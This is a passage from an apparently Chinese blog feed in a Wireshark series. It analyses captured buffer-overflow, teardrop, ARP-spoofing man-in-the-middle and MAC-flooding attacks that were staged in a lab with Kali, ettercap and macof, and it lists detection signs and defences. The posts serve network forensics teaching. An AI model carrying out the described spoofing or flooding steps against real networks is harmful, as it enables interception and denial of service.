id="判定攻击">判定攻击</h2><p>如果我们怀疑自己中了缓冲区溢出攻击，可以进行如下分析：<br>分析 <a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/tree/master/Package/Buffer_Overflow.pcapng" target="_blank" rel="noopener">Buffer_Overflow.pcapng</a>：</p><p>先用显示过滤器过滤一下，只显示 http 相关的报文（客户端进行缓冲区溢出攻击的应用层协议）<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200705203021763.png" alt></p><p>首先 Wireshark 已经看出来这里是一个畸形的数据包。并且，HTTP 数据包进行了分片，这往往是字段内容过大导致的，也是实现缓冲区溢出攻击的必要条件之一。</p><p>我们可以用 TCP 在追踪流查看一下：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image009.png" alt></p><p>可以很明显地看出 GET 后面的内容是混乱的， 没有没有实际意义可言，并且有很长很长一大段全是字符。<br>这很显然是为了将软件的缓冲区填满。</p><h2 id="一个疑点的分析">一个疑点的分析</h2><p>值得一提的是，如果你尝试在 Easy File Sharing Web Server 页面填写内容的时候，会发现自己输出长度是有限的，那怎么会导致溢出呢？<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image010.png" alt><br>这一点其实并不难理解，这个功能实现往往是前端页面对用户输入的限制。但是传输的时候没有限制，比如通过 Socket 编程传递这样过长的参数。<br>再补充一下，我们这里是用 Metasploit 中的模块实现对软件的攻击，也就意味着这个漏洞是公开知晓的。但是自己去挖漏洞的时候，就需要自己用诸如 Socket 编程的方式进行攻击。</p><p>所以这里的软件是有问题的，漏洞在于不检查接收的数据有多长，只是在前端做了输入限制。<br>当传出的数据大于 TCP 的缓冲区，就会复制到缓冲区的外面，通俗地讲就是指向下一条要执行指令的指针（PC）指针。导致之后执行的时候，不是执行下一条程序，而是执行下一个木马。</p><h2 id="缓冲区大小">缓冲区大小</h2><p>程序缓冲区有多大，这个是一个非常非常关键的问题，对不同的人都有非常重要的意义。<br>黑客知晓之后，就可以进行攻击了，在缓冲区之外的加上木马文件，构造缓冲区溢出攻击；<br>安全工作者知晓之后，可以进行木马识别和网络取证等。</p><p>而我们这里其实也可以看到：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image009.png" alt></p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image011.png" style="zoom:50%;"><p>这个程序的缓冲区大小为：4061 bytes.</p><h2 id="反向木马">反向木马</h2><p>按照木马客户端和服务端之间建立连接的方式的不同，可以将木马分为正向连接木马和反向连接木马。</p><p>正向连接木马的连接过程为：控制端首先发起通信连接的请求，然后木马被控制端响应并建立半连接，等控制端响应后，木马被控制端最终建立一个与控制端的通信连接。<br>正向木马其实是比较困难，黑客不知道哪些主机中了木马，而中了木马的主机等待着黑客连接它。<br>再加上由于动态IP、防火墙过滤技术、内网访问限制等因素的存在，阻挡了许多木马的交互，使得中了木马的计算机无法与控制端联系。这样，反向连接方式就显得非常必要。</p><p>进一步说，灰鸽子木马之后，常见的木马基本上都是反向木马。<br>反向木马的连接过程是：控制端首先打开端口进行监听，被控制端主动与控制端的监听端口进行连接。木马控制端发现被控制端请求之后给出提示，然后控制者开始对被控制端主机进行控制操作。</p><p>我们分析一下这里是不是反向木马。<br>这里的服务器 IP 是 192.168.93.155，所以先用一次显示过滤器：<br>ip.src == 192.168.93.155<br>看到有一个它主动发出的 SYN 请求：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200705203053290.png" alt="image-20200705203053290"></p><p>去掉显示过滤器，可以看到服务器主动和另一台主机进行 TCP 三次握手：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image013.png" alt></p><p>所以这里攻击者使用的是反向木马。</p><h2 id="应对措施">应对措施</h2><p>如果你使用的软件存在这样的漏洞，但你又不得不使用这个软件，可以这样应对：<br>把特征写入入侵检测的特征库里，比如我们这里的特征是： HTTP GET请求, 缓冲区长度为 4061 bytes…</p><h1>参考资料</h1><ol><li><a href="http://www.cnitpm.com/pm1/66204.html" target="_blank" rel="noopener">正向连接</a></li><li><a href="http://www.cnitpm.com/pm1/66205.html" target="_blank" rel="noopener">反向连接</a></li><li><a href="https://zh.wikipedia.org/wiki/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA" target="_blank" rel="noopener">缓冲区溢出</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Wireshark.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/p&gt;
&lt;p&gt;前面介绍了很多种攻击方式，但是它们都是基于网络协议的缺陷。而在实际情况中，除了这些内容之外，操作系统和应用程序的漏洞也是网络安全研究的重点。&lt;br&gt;
缓冲区溢出是现在很典型的一种远程攻击方式，它利用了程序员在编写程序时的疏忽，从而实现了在远程设备上执行代码。这些攻击方式大都要通过应用层的协议实现，所以本次课也会介绍应用层最为典型的协议 HTTP 。&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/categories/Web/Wireshark/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/tags/Wireshark/"/>
    
  </entry>
  
  <entry>
    <title>【Wireshark 系列】泪滴攻击分析</title>
    <link href="https://zer0-nu1l.github.io/2020/07/02/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91%E6%B3%AA%E6%BB%B4%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/"/>
    <id>https://zer0-nu1l.github.io/2020/07/02/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91%E6%B3%AA%E6%BB%B4%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/</id>
    <published>2020-07-02T13:04:12.000Z</published>
    <updated>2021-01-04T02:16:20.479Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://www.zer0-nu1l.com/uploads/Wireshark.jpg" alt="Wireshark"></p><p>针对 IP 协议的攻击方法，主要有<u>伪造 IP 地址</u>和发送<u>畸形数据包</u>两种方式。<br>泪滴攻击就属于发送畸形数据包这种方式，它的设计思路巧妙地利用了 IP 协议里面的缺陷，因此成为了网络安全里面的一个经典案例。<br>这种攻击的实现原理是向目标主机发送异常的数据包碎片，使得 IP 数据包碎片在重组的过程中有重合的部分，从而导致目标系统无法对其进行重组，进一步导致系统崩溃而停止服务的恶性攻击。</p><p>这篇内容非常非常简单 😅</p>  <a id="more"></a><h1>IPv4 报文分析</h1><blockquote><p>考虑到这种攻击是建立在 IP 协议上，我们先来简单地了解一下 IP 协议的几个重要内容，包括 IP 协议数据包的格式、分片方式以及存活时间（TTL）。</p></blockquote><h2 id="IP-协议格式">IP 协议格式</h2><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200702211114219.png" alt="image-20200702211114219" style="zoom:67%;"><p>在数据包信息面板中查看它的详细信息，这个数据包各部分如下。<br>（1）版本——占 4 位，指 IP 协议的版本目前的 IP 协议版本号为 4（即 IPv4）。<br>（2）首部长度——占 4 位，这里的值为 20Bytes。<br>（3）总长度的是 56 字节。<br><u><strong>（4）标识（identification）——占 16 位，它是一个计数器，用来产生数据包的标识。</strong></u><br><u><strong>（5）片偏移（Flags, 16 位）——较长的分组在分片后某片在原分组中的相对位置，片偏移以8 个字节为偏移单位。</strong></u><br><u><strong>（6）生存时间（8 位）——记为 TTL（Time To Live），表示数据包在网络中可通过的路由器数的最大值。</strong></u><br>（7）协议（8 位）字段——指出此数据包携带的数据使用何种协议以便目的主机的 IP 层将数据部分上交给哪个处理进程。<br>（8）源 IP 地址，表示数据包从哪里发出。<br>（9）目的 IP 地址，表示数据包将要发向哪里。</p><blockquote><p>其中我们比较关心的是 Flags、TTL、Src、Dst</p></blockquote><h2 id="IP-分片">IP 分片</h2><p>我们知道之所以要对 IP 数据包进行分片，是因为存在 MTU（最大传输单元）<br>由于以太网传输电气方面的限制，以太网帧的大小都有限制每个以太网帧最小也要 64 Bytes，最大不能超过 1518 Bytes。<br>刨去以太网帧的帧头（DMAC 6 Bytes + SMAC 6 Bytes+Type 2 bytes）14 Bytes 和帧尾 CRC 校验部分 4 Bytes（这个部分有时候也被称作 FCS），那么剩下承载上层协议的地方也就是 Data 域最大就只能有 1500 Bytes，这个值我们就把它称之为 MTU。这也就是我们几乎所有设备的 MTU 值都为 1500 字节的原因。<br>所以当我们要传输的信息大小超过 1500 字节的时候，就需要分片。</p><h2 id="IP-包的-Flags">IP 包的 Flags</h2><p>由同一个信息拆开的报文，他们的标识 identification 是一样的。<br>比如这里的第 8、9 报文的标志是一样的</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/drop002.png" alt="drop002"></p><p>Flags 前两位好像没什么用，第三位 More fragment，如果是1，表示后面还有，如果为0，表示为最后一个数据包。后面 13 位 Fragment offset 表示偏移量。<br>以 <a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/ping.pcapng" target="_blank" rel="noopener">ping.pcapng</a> 为例：<br>第二个数据包的偏移量为第一个数据包的数据长度<br>（数据长度=整个包的长度-以太网帧头-IP帧头）<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/drop004.png" alt="drop004"></p><p>1514 - 14 - 20 = 1480 bytes</p><blockquote><p>如果忘记帧头大小，可以点击帧，然后在状态栏查看：</p></blockquote><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/drop005.png" alt="drop005" style="zoom:67%;"><p>第二个包的偏移量：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image005.png" style="zoom:67%;"></p><p>后面几个包也是类似的。</p><h1>泪滴攻击</h1><h2 id="泪滴攻击原理">泪滴攻击原理</h2><p>泪滴攻击是基于数据分片传送进行的攻击手段。<br>在 IP 报头中有一个偏移字段和一个分片标志（MF, More fragments），如果 MF 标志设置为 1，则表明这个 IP 包是一个大 IP 包的片断，其中偏移字段指出了这个片断在整个 IP 包中的位置。例如，对一个 4200Bytes 的 IP包进行分片（MTU 为 1480），则 3 个片断中偏移字段的值依次为：0、1480、2960。这样接收端就可以根据这些信息成功的组装该 IP 包。而如果一个攻击者打破这种正常情况，把偏移字段设置成不正确的值，即可能出现重合或断开的情况，就可能导致目标操作系统崩溃。比如，把上述偏移设置为 0、1000、2000。<br>图中阴影部分的就是两个数据包有重合的地方，目标设备在接收到这种分片之后就无法重新组合成一个数据包，这就是所谓的泪滴攻击。</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200702211747039.png" alt="image-20200702211747039"></p><p>这种攻击方式在以前曾经给计算机用户带来了很大的困扰，但是对如今的操作系统基本无效，只是有时攻击者会将其与泛洪相结合来作为一种攻击手段。</p><h1>分析泪滴攻击</h1><p><a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/Teardrop.pcapng" target="_blank" rel="noopener">teardrop.pcap</a></p><h2 id="概览">概览</h2><p>这个数据包看起来没有特别明显问题，但是点到第9个包的时候，就能看到很明显的问题：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/drop001.png" alt="drop001"></p><p>它伪造了 Length，和长度相关的，会想到是泪滴攻击。</p><h2 id="分析">分析</h2><p>查看到它的 Fragment offset: 24<br>而我们查看 8 的数据包的数据长度：36<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image002-1593695935789.png" style="zoom:50%;"></p><p>确定是泪滴攻击。<br>结束。</p><blockquote><p>是不是有点意犹未尽 😅</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;https://www.zer0-nu1l.com/uploads/Wireshark.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/p&gt;
&lt;p&gt;针对 IP 协议的攻击方法，主要有&lt;u&gt;伪造 IP 地址&lt;/u&gt;和发送&lt;u&gt;畸形数据包&lt;/u&gt;两种方式。&lt;br&gt;
泪滴攻击就属于发送畸形数据包这种方式，它的设计思路巧妙地利用了 IP 协议里面的缺陷，因此成为了网络安全里面的一个经典案例。&lt;br&gt;
这种攻击的实现原理是向目标主机发送异常的数据包碎片，使得 IP 数据包碎片在重组的过程中有重合的部分，从而导致目标系统无法对其进行重组，进一步导致系统崩溃而停止服务的恶性攻击。&lt;/p&gt;
&lt;p&gt;这篇内容非常非常简单 😅&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/categories/Web/Wireshark/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/tags/Wireshark/"/>
    
  </entry>
  
  <entry>
    <title>【Wireshark 系列】中间人攻击分析</title>
    <link href="https://zer0-nu1l.github.io/2020/06/29/%E3%80%90Wireshark-%E7%B3%BB%E5%88%97%E3%80%91%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/"/>
    <id>https://zer0-nu1l.github.io/2020/06/29/%E3%80%90Wireshark-%E7%B3%BB%E5%88%97%E3%80%91%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/</id>
    <published>2020-06-29T10:01:53.000Z</published>
    <updated>2020-12-18T13:43:24.801Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://www.zer0-nu1l.com/uploads/Wireshark.jpg" alt="Wireshark"></p><p>中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种非常高效（基本没有失败的可能）的攻击。<br>中间人攻击的目标并不是交换机，而是终端设备（例如计算机、手机等）。<br>所以我没有在上一篇 <a href="https://www.zer0-nu1l.com/2020/06/28/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91MAC%20%E5%9C%B0%E5%9D%80%E6%B3%9B%E6%B4%AA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/" target="_blank" rel="noopener">【Wireshark 系列】MAC 地址泛洪攻击分析</a> 里面讲这部分的内容 😃</p>  <a id="more"></a><h1>中间人攻击的相关理论</h1><h2 id="ARP-缓存表-与-ARP报文分析">ARP 缓存表 与 ARP报文分析</h2><p>在每一台终端设备中都有一个 ARP 缓存表，这个表中保存了一些 IP 地址和 MAC 地址之间的映射关系。<br>windows/Linunx 查看本台设备 ARP 表的命令：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arp -a</span><br></pre></td></tr></table></figure><p>删除 ARP 表的命令（需要管理员权限）</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arp -d</span><br></pre></td></tr></table></figure><p>由于我们的电脑大部分时间都会和外进行通信，所以如果执行了删除 ARP 表的命令，它会很快进行ARP的请求，重新获得 Mac地址和 IP 的映射关系。</p><p>我们可以利用这个特性，监听网卡，执行删除 ARP 表的命令，即可获得 ARP 请求和 ARP 响应的报文：<a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/ARP.pcapng" target="_blank" rel="noopener">ARP.pcapng</a>。</p><h2 id="ARP-报文分析">ARP 报文分析</h2><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175524589.png" alt="image-20200629175524589"></p><p>ARP 报文非常非常简单，只有两个类型：一个 ARP 请求，一个 ARP 响应。<br>我们详细看下它的内容：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175539195.png" alt="image-20200629175539195"></p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175553893.png" alt="image-20200629175553893"></p><p>Opcode 只有 1 和 2，1是请求，2是应答。<br>对应的，我们可以设置显示过滤器：arp.opcode == 2 或者 arp.opcode == 1<br>ARP 报文缺点：没有验证措施，所以容易伪造<br>由于 ARP 协议非常简单，所以在通信过程中 ARP 协议占比通常非常低，几乎可以忽略不计。如果占比高，很可能就是出现了异常情况。</p><h2 id="ARP-欺骗">ARP 欺骗</h2><p>ARP 欺骗是实现 MITM 攻击的一种常用手段。<br>可以网上似乎到处都是，而且计算机网络课程也应该提到过，这里就不再多少。</p><h1>发起中间人攻击</h1><h2 id="常见攻击方式">常见攻击方式</h2><p>以前我们提到，ARP 协议没有验证措施，所以黑客可以冒充设备，甚至可以冒充网关……<br>一旦冒充了网关，目标主机就会将所有对外通信的报文给中间人，中间人再发给网关，信息一览无余……</p><h2 id="情景介绍">情景介绍</h2><p>下面使用 kali 虚拟机作为中间人攻击的实施者，Metasploitable 虚拟机作为被攻击的目标（为什么选他？因为它没有 GUI 省内存 😭）<br>虚拟机的网关为 192.168.93.2, Metasploitable 的 IP 是 192.168.93.145</p><blockquote><p>我暂居的地方马上迁移了，不要来毒化我哈 😅</p></blockquote><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175611372.png" alt="image-20200629175611372" style="zoom:80%;"><h2 id="实施-ARP-攻击">实施 ARP 攻击</h2><p>下面使用一款非常简单好用的工具 ettercap（实现 ARP 欺骗的工具很多，这是一款有 GUI 的工具）。<br>选择通用的嗅探：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175628221.png" alt="image-20200629175628221"></p><p>这时候多了很多选项：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175723728.png" alt="image-20200629175723728"></p><p>先进行扫描主机：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175727750.png" alt="image-20200629175727750"></p><p>然后查看 Hosts List<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175734405.png" alt="image-20200629175734405"></p><p>分别选择两个目标（网关和攻击目标）<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175740006.png" alt="image-20200629175740006"></p><p>然后执行 MITM<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175745093.png" alt="image-20200629175745093"></p><p>之后这台机器于外界通信的数据包都会被我看到：<a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/MITM.pcapng" target="_blank" rel="noopener">MITM.pcapng</a></p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175807246.png" alt="image-20200629175807246"></p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175810833.png" alt="image-20200629175810833"></p><p>我们再做一件有趣的事情：我用 scp 从 WSL 发一张照片给 msfadmin</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp ./sydney.jpg msfadmin@192.168.93.145:~/</span><br></pre></td></tr></table></figure><p>然后在 kali 追踪 TCP 流，看看能否得到图片<br><a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/MITM_picture.pcapng" target="_blank" rel="noopener">MITM_picture.pcapng</a><br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175834142.png" alt="image-20200629175834142"></p><p>SSH 经过了数据的加密，所以没有办法查看原来传输的数据。</p><h1>分析中间人攻击</h1><p>接下来我们将通过分析刚刚抓到的包，讲解 MITM 攻击的特点，以便我们自己在其他场景下判断、分辨 MAC 泛洪攻击。<br><a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Package/MITM.pcapng" target="_blank" rel="noopener">MITM.pcapng</a></p><h2 id="初看">初看</h2><p>频繁出现 ARP 是不正常的（一般一应一答就结束了）<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175858516.png" alt="image-20200629175858516"></p><p>协议分级看一下：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175903200.png" alt="image-20200629175903200"></p><p>ARP 协议报文在这么大的数据包中，平常接近 0.0%，这里高达 8.6%！</p><p>遇到这样情况，通常有三种可能：</p><ol><li>攻击者用 ARP 协议对网络进行扫描</li><li>计算机感染了 ARP 病毒，破坏网络通信</li><li>用攻击者发动 ARP 欺骗，发动中间人攻击（e.g. 密码丢失，十有八九是 ARP 欺骗）</li></ol><h2 id="Wireshark-专家系统">Wireshark 专家系统</h2><blockquote><p>结束捕获状态的时候才可用。</p></blockquote><p>在状态栏的最左侧黄色的按钮：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629180002310.png" alt="image-20200629180002310"></p><p>Wireshark 专家系统分析出了几个疑点：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175909336.png" alt="image-20200629175909336"></p><p>其中 Duplicate IP …… 对应了刚刚三个可能性中的：ARP 欺骗。</p><blockquote><p>实际工作不能过度依赖专家系统，它主要是针对 TCP 故障分析的。</p></blockquote><h2 id="深入分析">深入分析</h2><p>接下来根据之前摸索到的信息去追踪实施 ARP 欺骗的攻击者。<br>攻击者有这样几个特征：</p><ol><li>发送大量的 ARP reply<br>用大数量淹没正确单个的 ARP reply.</li><li>一个 MAC 对应两个 IP（中间人）</li></ol><p>应用显示过滤器之后，可见：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200629175918531.png" alt="image-20200629175918531"></p><p>上面是两个正常的 ARP reply<br>下面同一个 MAC 重复地发送 ARP reply，且用两个 IP 回复。<br>APR 欺骗实施者，无疑。</p><h1>防御中间人攻击</h1><p>有四种常见的方法：</p><ol><li>将网关的ARP 映射关系进行静态绑定 <figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">arp -s ip_addr mac_addr</span><br></pre></td></tr></table></figure>不适合大型网络（且重启就没有了，可能要在注册表里面找）</li><li>使用 DHCP     Snooping 功能</li><li>划分 VLAN<br>但是不可能一个人一个 VLAN，所以在一个 VLAN 内还是有风险。</li><li>ARP防火墙<br>本身也很消耗资源</li></ol><blockquote><p>所以，目前没有完美的方案。</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;https://www.zer0-nu1l.com/uploads/Wireshark.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/p&gt;
&lt;p&gt;中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种非常高效（基本没有失败的可能）的攻击。&lt;br&gt;
中间人攻击的目标并不是交换机，而是终端设备（例如计算机、手机等）。&lt;br&gt;
所以我没有在上一篇 &lt;a href=&quot;https://www.zer0-nu1l.com/2020/06/28/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91MAC%20%E5%9C%B0%E5%9D%80%E6%B3%9B%E6%B4%AA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;【Wireshark 系列】MAC 地址泛洪攻击分析&lt;/a&gt; 里面讲这部分的内容 😃&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/categories/Web/Wireshark/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/tags/Wireshark/"/>
    
      <category term="eNSP" scheme="https://zer0-nu1l.github.io/tags/eNSP/"/>
    
  </entry>
  
  <entry>
    <title>【Wireshark 系列】MAC 地址泛洪攻击分析</title>
    <link href="https://zer0-nu1l.github.io/2020/06/28/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91MAC%20%E5%9C%B0%E5%9D%80%E6%B3%9B%E6%B4%AA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/"/>
    <id>https://zer0-nu1l.github.io/2020/06/28/%E3%80%90Wireshark%20%E7%B3%BB%E5%88%97%E3%80%91MAC%20%E5%9C%B0%E5%9D%80%E6%B3%9B%E6%B4%AA%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/</id>
    <published>2020-06-28T15:04:51.000Z</published>
    <updated>2020-12-18T13:39:43.197Z</updated>
    
    <content type="html"><![CDATA[<p>接下来我会开一个 Wireshark 网络分析的博文系列，主要借助华为的网络模拟工具 eNSP ，它可以接入真实的主机，为我们进行网络攻击提供了非常友好、非常纯洁的环境。<br>具体怎么连接可以自行查阅，或者可以在评论区留言，我可以单独再写一篇~ 😁</p><hr><p><img src="https://www.zer0-nu1l.com/uploads/Wireshark.jpg" alt="Wireshark"></p><p>下面从数据链路层对交换机的攻击说起：</p><ol><li>目前网络安全的问题有     80%来自于“内部网络”</li><li>链路层是内部网络通信最为重要的协议，而交换机正是这一层的典型设备</li><li>但是相比起其他网络设备来说，交换机的防护措施往往也是最差的，因此也经常成为黑客攻击的目标。</li></ol> <a id="more"></a><h1>实验环境介绍</h1><h2 id="数据链路层的攻击">数据链路层的攻击</h2><ul><li>MAC 地址欺骗攻击（放到下期中间人攻击部分讲解）</li><li>MAC 地址泛洪攻击（本次讲解内容）⭐️</li><li>STP 操纵攻击</li><li>广播风暴攻击</li></ul><h2 id="MAC-地址泛洪可能导致的情景">MAC 地址泛洪可能导致的情景</h2><p>网络在之前一直可以正常运行，但是在前些天很多用户突然发现网络速度变得十分缓慢，经过我们的检查没有发现线路方面的问题。<br>但是我们发现每次重启交换机之后网络速度就会恢复。<br>而经过一段时间之后网络速度就会再次变得缓慢。</p><h2 id="eNSP-交换机介绍">eNSP 交换机介绍</h2><h3 id="命令：查看-MAC-表">命令：查看 MAC 表</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">display mac-address</span><br></pre></td></tr></table></figure><h3 id="交换机-UDP-伪造源-MAC">交换机 UDP 伪造源 MAC</h3><p>（交换机不认 ip:port，目的和源 IP, port 可以随便写）<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230527919.png" alt="image-20200628230527919"></p><p>eNSP 实现的功能比较简单，但是告诉了我们伪造不是一件难事；<br>而大批量地进行伪造是需要专门的工具的，所以我们后面会接入 kali，做攻击的模拟。</p><h2 id="网络拓扑">网络拓扑</h2><p>网络拓扑 <a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/blob/master/Topo/SwitchAttack/" target="_blank" rel="noopener">SwitchAttack</a>：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628231643896.png" alt="image-20200628231643896" style="zoom:67%;"><h1>MAC 地址泛洪攻击</h1><p>网络拓扑中，PC1, PC2 都用 DHCP 配置；ping 通之后，查看交换机的 mac table ：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230733652.png" alt="image-20200628230733652"></p><p>Kali 执行 <code>macof</code> 进行 MAC 地址泛洪（可以多开几个终端执行泛洪），同时抓取交换机连接 kali 的端口的数据包。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230750772.png" alt="image-20200628230750772"></p><p>获取到泛洪攻击的数据包：<a href="https://github.com/ZER0-Nu1L/Wireshark-Analysis/raw/master/Package/SwitchAttack_attacked.pcapng" target="_blank" rel="noopener">SwitchAttack_attack.pcapng</a></p><p>接下来再看下交换机的 mac-address 表：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230803774.png" alt="image-20200628230803774"></p><p>可以看到交换机已经完全被 Eth0/0/3 的端口映射关系淹没，甚至已经没有 Eth0/0/1 和 Eth0/0/2 了，这将导致，PC1 和 PC2 基本不能进行正常的网络通信。</p><h1>攻击分析</h1><blockquote><p>现实场景下是不了解自己的网络问题是否由 MAC 泛洪导致的，接下来我们将通过分析刚刚抓到的包，讲解 MAC 泛洪攻击的特点，以便我们自己在其他场景下判断、分辨 MAC 泛洪攻击。</p></blockquote><h2 id="初看">初看</h2><p>选项 - 统计 - 捕捉文件属性</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230822539.png" alt="image-20200628230822539"></p><p>这个数据包很大，但是乍一眼可以看出来源 IP 和目的 IP 意外地多，且不属于用户主机的数据包：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image006.png" alt></p><p>另外，数据包长度还一样——很可能是软件生成的。<br>很容易想到，这些数据包是大量伪造的。</p><blockquote><p>但是以上只是基本猜测，需要进一步分析。</p></blockquote><h2 id="Wireshark-统计分析">Wireshark 统计分析</h2><p>现在我们发现网络中出现了大量来历不明的数据包，可是到底出现了多少个数据包呢，这些数据包是否来自同一个源地址，或者发向同一个目的地址呢？如果手动地逐个计算的话，那么显然这是一个十分繁重的重复劳动。好在 Wireshark 中提供了极为强大的网络统计功能，利用这些功能我们可以对网络活动有一个宏观的了解。<br>选项 - 统计 - 会话：<br><img 